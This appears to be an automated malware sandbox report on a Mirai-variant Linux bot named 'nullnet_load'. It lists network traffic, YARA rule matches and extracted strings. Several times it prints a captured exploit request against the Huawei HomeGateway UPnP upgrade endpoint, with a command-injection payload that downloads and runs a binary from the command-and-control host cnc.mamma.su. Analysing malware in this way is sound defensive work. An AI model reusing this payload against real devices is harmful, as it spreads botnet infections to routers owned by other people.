/tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 150.92.245.152
Source: unknown	TCP traffic detected without corresponding DNS query: 79.142.73.170
Source: unknown	TCP traffic detected without corresponding DNS query: 187.189.192.136
Source: unknown	TCP traffic detected without corresponding DNS query: 113.14.143.159
Source: unknown	TCP traffic detected without corresponding DNS query: 212.114.44.40
Source: unknown	TCP traffic detected without corresponding DNS query: 193.158.100.5
Source: unknown	TCP traffic detected without corresponding DNS query: 167.106.186.182
Source: unknown	TCP traffic detected without corresponding DNS query: 13.225.168.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.76.139.107
Source: unknown	TCP traffic detected without corresponding DNS query: 191.184.181.207
Source: unknown	TCP traffic detected without corresponding DNS query: 46.228.67.215
Source: unknown	TCP traffic detected without corresponding DNS query: 191.177.116.91
Source: unknown	TCP traffic detected without corresponding DNS query: 148.3.194.169
Source: unknown	TCP traffic detected without corresponding DNS query: 99.209.13.188
Source: unknown	TCP traffic detected without corresponding DNS query: 84.28.239.138
Source: unknown	TCP traffic detected without corresponding DNS query: 37.21.51.226
Source: unknown	TCP traffic detected without corresponding DNS query: 68.88.247.49
Source: unknown	TCP traffic detected without corresponding DNS query: 32.183.83.201
Source: unknown	TCP traffic detected without corresponding DNS query: 174.68.191.182
Source: unknown	TCP traffic detected without corresponding DNS query: 18.90.251.185
Source: unknown	TCP traffic detected without corresponding DNS query: 222.226.57.5
Source: unknown	TCP traffic detected without corresponding DNS query: 105.23.22.244
Source: unknown	TCP traffic detected without corresponding DNS query: 120.219.67.85
Source: unknown	TCP traffic detected without corresponding DNS query: 69.6.170.31
Source: unknown	TCP traffic detected without corresponding DNS query: 171.120.97.23
Source: unknown	TCP traffic detected without corresponding DNS query: 13.90.220.170
Source: unknown	TCP traffic detected without corresponding DNS query: 89.136.76.229
Source: unknown	TCP traffic detected without corresponding DNS query: 95.66.82.184
Source: unknown	TCP traffic detected without corresponding DNS query: 203.52.221.203
Source: unknown	TCP traffic detected without corresponding DNS query: 186.83.55.13
Source: unknown	TCP traffic detected without corresponding DNS query: 184.174.169.111
Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.55.34
Source: unknown	TCP traffic detected without corresponding DNS query: 175.105.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 182.59.194.31
Source: unknown	TCP traffic detected without corresponding DNS query: 173.52.47.158
Source: unknown	TCP traffic detected without corresponding DNS query: 109.117.46.234
Source: unknown	TCP traffic detected without corresponding DNS query: 149.34.212.146
Source: unknown	TCP traffic detected without corresponding DNS query: 171.142.194.161
Source: unknown	TCP traffic detected without corresponding DNS query: 176.2.13.220
Source: unknown	TCP traffic detected without corresponding DNS query: 150.192.58.244
Source: unknown	TCP traffic detected without corresponding DNS query: 181.150.39.8
Source: unknown	TCP traffic detected without corresponding DNS query: 59.198.15.200
Source: unknown	TCP traffic detected without corresponding DNS query: 155.142.30.24
Source: unknown	TCP traffic detected without corresponding DNS query: 194.118.204.190
Source: unknown	TCP traffic detected without corresponding DNS query: 58.204.35.191
Source: unknown	TCP traffic detected without corresponding DNS query: 4.1.85.72
Source: unknown	TCP traffic detected without corresponding DNS query: 194.195.187.149
Source: unknown	TCP traffic detected without corresponding DNS query: 183.202.137.112
Source: unknown	TCP traffic detected without corresponding DNS query: 36.194.20.203
Source: unknown	TCP traffic detected without corresponding DNS query: 209.113.116.211

Source: global traffic

DNS traffic detected: DNS query: cnc.mamma.su

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: nullnet_load.x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: nullnet_load.x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox ECCHI
Source: Initial sample	String containing 'busybox' found: ..:: Nullnet Network ::..This device is already on Nullnet Networkcnc.mamma.su/proc//exe/fd/maps/proc/net/tcpUPX!sysupdaterKILLATTKBOGOMIPSpandoraMercurycrsfiahsokRootedREKAImioriMASUTAGhostWuzHere666CoronaloliganglolxdNiGGeR69xdnucleardvrHelperyakuzaUnHAnaAWAreslessie.HilixReaper.AlexsoraAmakanorzrnyamezyzhrlzrdGummyMoziYakuzadaddyl33t.un5Demon.Okami/dev/watchdog/dev/misc/watchdog/dev/FTWDT101_watchdog/dev/FTWDT101\ watchdogshellenablesystemsh/bin/busybox ECCHIECCHI: applet not foundncorrectasswordoginenter/etc/resolv.confnameserverConnection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.8Content-Type: application/x-www-form-urlencodedsetCookie('refresh:location:set-cookie:content-length:transfer-encoding:chunkedkeep-aliveconnection:server: dosarrestserver: cloudflare-nginxHTTP/1.1User-Agent:Host:Cookie:httpurl=POSTMozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7Moz

Source: ELF static info symbol of initial sample

.symtab present: no

Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
